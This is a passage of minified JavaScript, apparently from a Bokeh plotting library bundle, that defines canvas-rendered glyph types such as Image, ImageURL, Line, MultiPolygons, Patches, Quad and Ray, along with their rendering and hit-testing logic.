n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Image\\\",this.prototype.default_view=a,this.define({image:[s.NumberSpec],dw:[s.DistanceSpec],dh:[s.DistanceSpec],dilate:[s.Bool,!1],global_alpha:[s.Number,1],color_mapper:[s.Instance,function(){return new o.LinearColorMapper({palette:[\\\"#000000\\\",\\\"#252525\\\",\\\"#525252\\\",\\\"#737373\\\",\\\"#969696\\\",\\\"#bdbdbd\\\",\\\"#d9d9d9\\\",\\\"#f0f0f0\\\",\\\"#ffffff\\\"]})}]})},t}(r.XYGlyph);(i.Image=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),f=t(21),s=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._set_data=function(t){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var e=0,i=this._image.length;e<i;e++)if(!(null!=t&&t.indexOf(e)<0)){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e].buffer;var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e],s=f.concat(o);n=new ArrayBuffer(4*s.length);for(var a=new Uint32Array(n),l=0,h=s.length;l<h;l++)a[l]=s[l];this._height[e]=o.length,this._width[e]=o[0].length}var u=this.image_data[e],c=void 0;null!=u&&u.width==this._width[e]&&u.height==this._height[e]?c=u:((c=document.createElement(\\\"canvas\\\")).width=this._width[e],c.height=this._height[e]);var _=c.getContext(\\\"2d\\\"),p=_.getImageData(0,0,this._width[e],this._height[e]),d=new Uint8Array(n);p.data.set(d),_.putImageData(p,0,0),this.image_data[e]=c,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=f.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=f.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageRGBAView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageRGBA\\\",this.prototype.default_view=s,this.define({image:[o.NumberSpec],dw:[o.DistanceSpec],dh:[o.DistanceSpec],global_alpha:[o.Number,1],dilate:[o.Bool,!1]})},t}(r.XYGlyph);(i.ImageRGBA=a).initClass()},function(t,e,m){var n=t(391),i=t(146),g=t(14),r=t(15),y=t(22),o=t(37);m.CanvasImage=Image;var s=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._images_rendered=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._index_data=function(){return new o.SpatialIndex([])},t.prototype._set_data=function(){var n=this;null!=this.image&&this.image.length==this._url.length||(this.image=y.map(this._url,function(){return null}));var t=this.model,r=t.retry_attempts,o=t.retry_timeout;this.retries=y.map(this._url,function(){return r});for(var e=function(t,e){if(null==s._url[t])return\\\"continue\\\";var i=new m.CanvasImage;i.onerror=function(){0<n.retries[t]?(g.logger.trace(\\\"ImageURL failed to load \\\"+n._url[t]+\\\" image, retrying in \\\"+o+\\\" ms\\\"),setTimeout(function(){return i.src=n._url[t]},o)):g.logger.warn(\\\"ImageURL unable to load \\\"+n._url[t]+\\\" image after \\\"+r+\\\" retries\\\"),n.retries[t]-=1},i.onload=function(){n.image[t]=i,n.renderer.request_render()},i.src=s._url[t]},s=this,i=0,a=this._url.length;i<a;i++)e(i,a);for(var l=\\\"data\\\"==this.model.properties.w.units,h=\\\"data\\\"==this.model.properties.h.units,u=this._x.length,c=new Array(l?2*u:u),_=new Array(h?2*u:u),i=0;i<u;i++)c[i]=this._x[i],_[i]=this._y[i];if(l)for(var i=0;i<u;i++)c[u+i]=this._x[i]+this._w[i];if(h)for(var i=0;i<u;i++)_[u+i]=this._y[i]+this._h[i];var p=y.min(c),d=y.max(c),f=y.min(_),v=y.max(_);this._bounds_rect={minX:p,maxX:d,minY:f,maxY:v}},t.prototype.has_finished=function(){return i.prototype.has_finished.call(this)&&1==this._images_rendered},t.prototype._map_data=function(){var t=null!=this.model.w?this._w:y.map(this._x,function(){return NaN}),e=null!=this.model.h?this._h:y.map(this._x,function(){return NaN});switch(this.model.properties.w.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,t,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=t}switch(this.model.properties.h.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,e,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=e}},t.prototype._render=function(t,e,i){var n=i.image,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=i._angle,h=this.renderer.plot_view.frame;t.rect(h._left.value+1,h._top.value+1,h._width.value-2,h._height.value-2),t.clip();for(var u=!0,c=0,_=e;c<_.length;c++){var p=_[c];if(!isNaN(r[p]+o[p]+l[p])&&-1!=this.retries[p]){var d=n[p];null!=d?this._render_image(t,p,d,r,o,s,a,l):u=!1}}u&&!this._images_rendered&&(this._images_rendered=!0,this.notify_finished())},t.prototype._final_sx_sy=function(t,e,i,n,r){switch(t){case\\\"top_left\\\":return[e,i];case\\\"top_center\\\":return[e-n/2,i];case\\\"top_right\\\":return[e-n,i];case\\\"center_right\\\":return[e-n,i-r/2];case\\\"bottom_right\\\":return[e-n,i-r];case\\\"bottom_center\\\":return[e-n/2,i-r];case\\\"bottom_left\\\":return[e,i-r];case\\\"center_left\\\":return[e,i-r/2];case\\\"center\\\":return[e-n/2,i-r/2]}},t.prototype._render_image=function(t,e,i,n,r,o,s,a){isNaN(o[e])&&(o[e]=i.width),isNaN(s[e])&&(s[e]=i.height);var l=this.model.anchor,h=this._final_sx_sy(l,n[e],r[e],o[e],s[e]),u=h[0],c=h[1];t.save(),t.globalAlpha=this.model.global_alpha,a[e]?(t.translate(u,c),t.rotate(a[e]),t.drawImage(i,0,0,o[e],s[e]),t.rotate(-a[e]),t.translate(-u,-c)):t.drawImage(i,u,c,o[e],s[e]),t.restore()},t.prototype.bounds=function(){return this._bounds_rect},t}(i.XYGlyphView);m.ImageURLView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageURL\\\",this.prototype.default_view=s,this.define({url:[r.StringSpec],anchor:[r.Anchor,\\\"top_left\\\"],global_alpha:[r.Number,1],angle:[r.AngleSpec,0],w:[r.DistanceSpec],h:[r.DistanceSpec],dilate:[r.Bool,!1],retry_attempts:[r.Number,0],retry_timeout:[r.Number,0]})},t}(i.XYGlyph);(m.ImageURL=a).initClass()},function(t,e,i){var n=t(114);i.AnnularWedge=n.AnnularWedge;var r=t(115);i.Annulus=r.Annulus;var o=t(116);i.Arc=o.Arc;var s=t(117);i.Bezier=s.Bezier;var a=t(120);i.Circle=a.Circle;var l=t(119);i.CenterRotatable=l.CenterRotatable;var h=t(121);i.Ellipse=h.Ellipse;var u=t(122);i.EllipseOval=u.EllipseOval;var c=t(123);i.Glyph=c.Glyph;var _=t(124);i.HBar=_.HBar;var p=t(125);i.HexTile=p.HexTile;var d=t(126);i.Image=d.Image;var f=t(127);i.ImageRGBA=f.ImageRGBA;var v=t(128);i.ImageURL=v.ImageURL;var m=t(130);i.Line=m.Line;var g=t(131);i.MultiLine=g.MultiLine;var y=t(132);i.MultiPolygons=y.MultiPolygons;var b=t(133);i.Oval=b.Oval;var x=t(134);i.Patch=x.Patch;var w=t(135);i.Patches=w.Patches;var k=t(136);i.Quad=k.Quad;var S=t(137);i.Quadratic=S.Quadratic;var C=t(138);i.Ray=C.Ray;var T=t(139);i.Rect=T.Rect;var A=t(140);i.Segment=A.Segment;var E=t(141);i.Step=E.Step;var M=t(142);i.Text=M.Text;var O=t(144);i.VBar=O.VBar;var z=t(145);i.Wedge=z.Wedge;var P=t(146);i.XYGlyph=P.XYGlyph},function(t,e,i){var n=t(391),r=t(146),a=t(143),c=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=!1,s=null;this.visuals.line.set_value(t);for(var a=0,l=e;a<l.length;a++){var h=l[a];if(o){if(!isFinite(n[h]+r[h])){t.stroke(),t.beginPath(),o=!1,s=h;continue}null!=s&&1<h-s&&(t.stroke(),o=!1)}o?t.lineTo(n[h],r[h]):(t.beginPath(),t.moveTo(n[h],r[h]),o=!0),s=h}o&&t.stroke()},e.prototype._hit_point=function(t){for(var e=this,i=c.create_empty_hit_test_result(),n={x:t.sx,y:t.sy},r=9999,o=Math.max(2,this.visuals.line.line_width.value()/2),s=0,a=this.sx.length-1;s<a;s++){var l={x:this.sx[s],y:this.sy[s]},h={x:this.sx[s+1],y:this.sy[s+1]},u=c.dist_to_segment(n,l,h);u<o&&u<r&&(r=u,i.add_to_selected_glyphs(this.model),i.get_view=function(){return e},i.line_indices=[s])}return i},e.prototype._hit_span=function(t){var e,i,n=this,r=t.sx,o=t.sy,s=c.create_empty_hit_test_result();\\\"v\\\"==t.direction?(e=this.renderer.yscale.invert(o),i=this._y):(e=this.renderer.xscale.invert(r),i=this._x);for(var a=0,l=i.length-1;a<l;a++)(i[a]<=e&&e<=i[a+1]||i[a+1]<=e&&e<=i[a])&&(s.add_to_selected_glyphs(this.model),s.get_view=function(){return n},s.line_indices.push(a));return s},e.prototype.get_interpolation_hit=function(t,e){var i=[this._x[t],this._y[t],this._x[t+1],this._y[t+1]],n=i[0],r=i[1],o=i[2],s=i[3];return a.line_interpolation(this.renderer,e,n,r,o,s)},e.prototype.draw_legend_for_index=function(t,e,i){a.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.LineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Line\\\",this.prototype.default_view=o,this.mixins([\\\"line\\\"])},t}(r.XYGlyph);(i.Line=s).initClass()},function(t,e,i){var n=t(391),m=t(37),d=t(9),f=t(32),g=t(21),y=t(44),r=t(123),l=t(143),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)if(null!=this._xs[e]&&0!==this._xs[e].length){for(var n=this._xs[e],r=[],o=0,s=n.length;o<s;o++){var a=n[o];y.isStrictNaN(a)||r.push(a)}for(var l=this._ys[e],h=[],o=0,s=l.length;o<s;o++){var u=l[o];y.isStrictNaN(u)||h.push(u)}var c=[g.min(r),g.max(r)],_=c[0],p=c[1],d=[g.min(h),g.max(h)],f=d[0],v=d[1];t.push({minX:_,minY:f,maxX:p,maxY:v,i:e})}return new m.SpatialIndex(t)},e.prototype._render=function(t,e,i){for(var n=i.sxs,r=i.sys,o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c])||isNaN(u[c])?(t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.stroke()}},e.prototype._hit_point=function(t){for(var e=d.create_empty_hit_test_result(),i={x:t.sx,y:t.sy},n=9999,r={},o=0,s=this.sxs.length;o<s;o++){for(var a=Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",o)/2),l=null,h=0,u=this.sxs[o].length-1;h<u;h++){var c={x:this.sxs[o][h],y:this.sys[o][h]},_={x:this.sxs[o][h+1],y:this.sys[o][h+1]},p=d.dist_to_segment(i,c,_);p<a&&p<n&&(n=p,l=[h])}l&&(r[o]=l)}return e.indices=f.keys(r).map(function(t){return parseInt(t,10)}),e.multiline_indices=r,e},e.prototype._hit_span=function(t){var e,i,n=t.sx,r=t.sy,o=d.create_empty_hit_test_result();\\\"v\\\"===t.direction?(e=this.renderer.yscale.invert(r),i=this._ys):(e=this.renderer.xscale.invert(n),i=this._xs);for(var s={},a=0,l=i.length;a<l;a++){for(var h=[],u=0,c=i[a].length-1;u<c;u++)i[a][u]<=e&&e<=i[a][u+1]&&h.push(u);0<h.length&&(s[a]=h)}return o.indices=f.keys(s).map(function(t){return parseInt(t,10)}),o.multiline_indices=s,o},e.prototype.get_interpolation_hit=function(t,e,i){var n=[this._xs[t][e],this._ys[t][e],this._xs[t][e+1],this._ys[t][e+1]],r=n[0],o=n[1],s=n[2],a=n[3];return l.line_interpolation(this.renderer,i,r,o,s,a)},e.prototype.draw_legend_for_index=function(t,e,i){l.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.MultiLineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiLine\\\",this.prototype.default_view=o,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.MultiLine=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),x=t(9),m=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++){var o=this._xs[e][n][0],s=this._ys[e][n][0];0!=o.length&&t.push({minX:u.min(o),minY:u.min(s),maxX:u.max(o),maxY:u.max(s),i:e})}return this.hole_index=this._index_hole_data(),new h.SpatialIndex(t)},e.prototype._index_hole_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++)if(1<this._xs[e][n].length)for(var o=1,s=this._xs[e][n].length;o<s;o++){var a=this._xs[e][n][o],l=this._ys[e][n][o];0!=a.length&&t.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:e})}return new h.SpatialIndex(t)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=x.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e}).filter(function(t,e,i){return 0===e||t!==i[e-1]})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;if(this.visuals.fill.doit||this.visuals.line.doit)for(var o=0,s=e;o<s.length;o++){var a=s[o];t.beginPath();for(var l=0,h=n[a].length;l<h;l++)for(var u=0,c=n[a][l].length;u<c;u++){for(var _=n[a][l][u],p=r[a][l][u],d=0,f=_.length;d<f;d++)0!=d?t.lineTo(_[d],p[d]):t.moveTo(_[d],p[d]);t.closePath()}this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,a),t.fill(\\\"evenodd\\\")),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,a),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=this.hole_index.indices({minX:n,minY:r,maxX:n,maxY:r}),a=[],l=0,h=o.length;l<h;l++)for(var u=o[l],c=this.sxs[u],_=this.sys[u],p=0,d=c.length;p<d;p++){var f=c[p].length;if(x.point_in_poly(e,i,c[p][0],_[p][0]))if(1==f)a.push(u);else if(-1==s.indexOf(u))a.push(u);else if(1<f){for(var v=!1,m=1;m<f;m++){var g=c[p][m],y=_[p][m];if(x.point_in_poly(e,i,g,y)){v=!0;break}}v||a.push(u)}}var b=x.create_empty_hit_test_result();return b.indices=a,b},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxs[t].length)return this._get_snap_coord(this.sxs[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(n[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.sys[t].length)return this._get_snap_coord(this.sys[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(r[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.map_data=function(){for(var t=this,e=0,i=this.model._coords;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=\\\"s\\\"+r,a=\\\"s\\\"+o;if(o=\\\"_\\\"+o,null!=t[r=\\\"_\\\"+r]&&(m.isArray(t[r][0])||m.isTypedArray(t[r][0]))){var l=t[r].length;t[s]=new Array(l),t[a]=new Array(l);for(var h=0;h<l;h++){var u=t[r][h].length;t[s][h]=new Array(u),t[a][h]=new Array(u);for(var c=0;c<u;c++){var _=t[r][h][c].length;t[s][h][c]=new Array(_),t[a][h][c]=new Array(_);for(var p=0;p<_;p++){var d=this.map_to_screen(t[r][h][c][p],t[o][h][c][p]),f=d[0],v=d[1];t[s][h][c][p]=f,t[a][h][c][p]=v}}}}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.MultiPolygonsView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiPolygons\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.MultiPolygons=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){var t,e=this._x.length;this.sw=new Float64Array(e),t=\\\"data\\\"==this.model.properties.width.units?this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this._width;for(var i=0;i<e;i++)this.sw[i]=.75*t[i];\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e}(r.EllipseOvalView);i.OvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Oval\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Oval=s).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy;if(this.visuals.fill.doit){this.visuals.fill.set_value(t);for(var o=0,s=e;o<s.length;o++){var a=s[o];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_value(t);for(var l=0,h=e;l<h.length;l++){var a=h[l];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}return t.closePath(),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.PatchView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patch\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.XYGlyph);(i.Patch=a).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),l=t(44),f=t(9),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._build_discontinuous_object=function(t){for(var e=[],i=0,n=t.length;i<n;i++){e[i]=[];for(var r=u.copy(t[i]);0<r.length;){var o=u.findLastIndex(r,function(t){return l.isStrictNaN(t)}),s=void 0;0<=o?s=r.splice(o):(s=r,r=[]);var a=s.filter(function(t){return!l.isStrictNaN(t)});e[i].push(a)}}return e},e.prototype._index_data=function(){for(var t=this._build_discontinuous_object(this._xs),e=this._build_discontinuous_object(this._ys),i=[],n=0,r=this._xs.length;n<r;n++)for(var o=0,s=t[n].length;o<s;o++){var a=t[n][o],l=e[n][o];0!=a.length&&i.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:n})}return new h.SpatialIndex(i)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=f.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;this.sxss=this._build_discontinuous_object(n),this.syss=this._build_discontinuous_object(r);for(var o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];if(this.visuals.fill.doit){this.visuals.fill.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.stroke()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o.length;a<l;a++)for(var h=o[a],u=this.sxss[h],c=this.syss[h],_=0,p=u.length;_<p;_++)f.point_in_poly(e,i,u[_],c[_])&&s.push(h);var d=f.create_empty_hit_test_result();return d.indices=s,d},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxss[t].length)return this._get_snap_coord(this.sxs[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(n[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.syss[t].length)return this._get_snap_coord(this.sys[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(r[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.PatchesView=a;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patches\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Patches=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.get_anchor_point=function(t,e,i){var n=Math.min(this.sleft[e],this.sright[e]),r=Math.max(this.sright[e],this.sleft[e]),o=Math.min(this.stop[e],this.sbottom[e]),s=Math.max(this.sbottom[e],this.stop[e]);switch(t){case\\\"top_left\\\":return{x:n,y:o};case\\\"top_center\\\":return{x:(n+r)/2,y:o};case\\\"top_right\\\":return{x:r,y:o};case\\\"center_right\\\":return{x:r,y:(o+s)/2};case\\\"bottom_right\\\":return{x:r,y:s};case\\\"bottom_center\\\":return{x:(n+r)/2,y:s};case\\\"bottom_left\\\":return{x:n,y:s};case\\\"center_left\\\":return{x:n,y:(o+s)/2};case\\\"center\\\":return{x:(n+r)/2,y:(o+s)/2};default:return null}},e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._right.length)},e.prototype._lrtb=function(t){var e=this._left[t],i=this._right[t],n=this._top[t],r=this._bottom[t];return[e,i,n,r]},e}(r.BoxView);i.QuadView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quad\\\",this.prototype.default_view=o,this.coords([[\\\"right\\\",\\\"bottom\\\"],[\\\"left\\\",\\\"top\\\"]])},t}(r.Box);(i.Quad=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143);function u(t,e,i){if(e==(t+i)/2)return[t,i];var n=(t-e)/(t-2*e+i),r=t*Math.pow(1-n,2)+2*e*(1-n)*n+i*Math.pow(n,2);return[Math.min(t,i,r),Math.max(t,i,r)]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx[e]+this._cy[e])){var n=u(this._x0[e],this._cx[e],this._x1[e]),r=n[0],o=n[1],s=u(this._y0[e],this._cy[e],this._y1[e]),a=s[0],l=s[1];t.push({minX:r,minY:a,maxX:o,maxY:l,i:e})}return new h.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx,l=i.scy;if(this.visuals.line.doit)for(var h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c]+l[c])||(t.beginPath(),t.moveTo(n[c],r[c]),t.quadraticCurveTo(a[c],l[c],o[c],s[c]),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.QuadraticView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quadratic\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx\\\",\\\"cy\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Quadratic=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.length.units?this.slength=this.sdist(this.renderer.xscale,this._x,this._length):this.slength=this._length},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.slength,s=i._angle;if(this.visuals.line.doit){for(var a=this.renderer.plot_view.frame._width.value,l=this.renderer.plot_view.frame._height.value,h=2*(a+l),u=0,c=o.length;u<c;u++)0==o[u]&&(o[u]=h);for(var _=0,p=e;_<p.length;_++){var u=p[_];isNaN(n[u]+r[u]+s[u]+o[u])||(t.translate(n[u],r[u]),t.rotate(s[u]),t.beginPath(),t.moveTo(0,0),t.lineTo(o[u],0),this.visuals.line.set_vectorize(t,u),t.stroke(),t.rotate(-s[u]),t.translate(-n[u],-r[u]))}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.RayView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ray\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({length:[s.DistanceSpec],angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Ray=l).initClass()},function(t,e,i){var n=t(391),r=t(119),o=t(143),T=t(9),s=t(15),A=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return 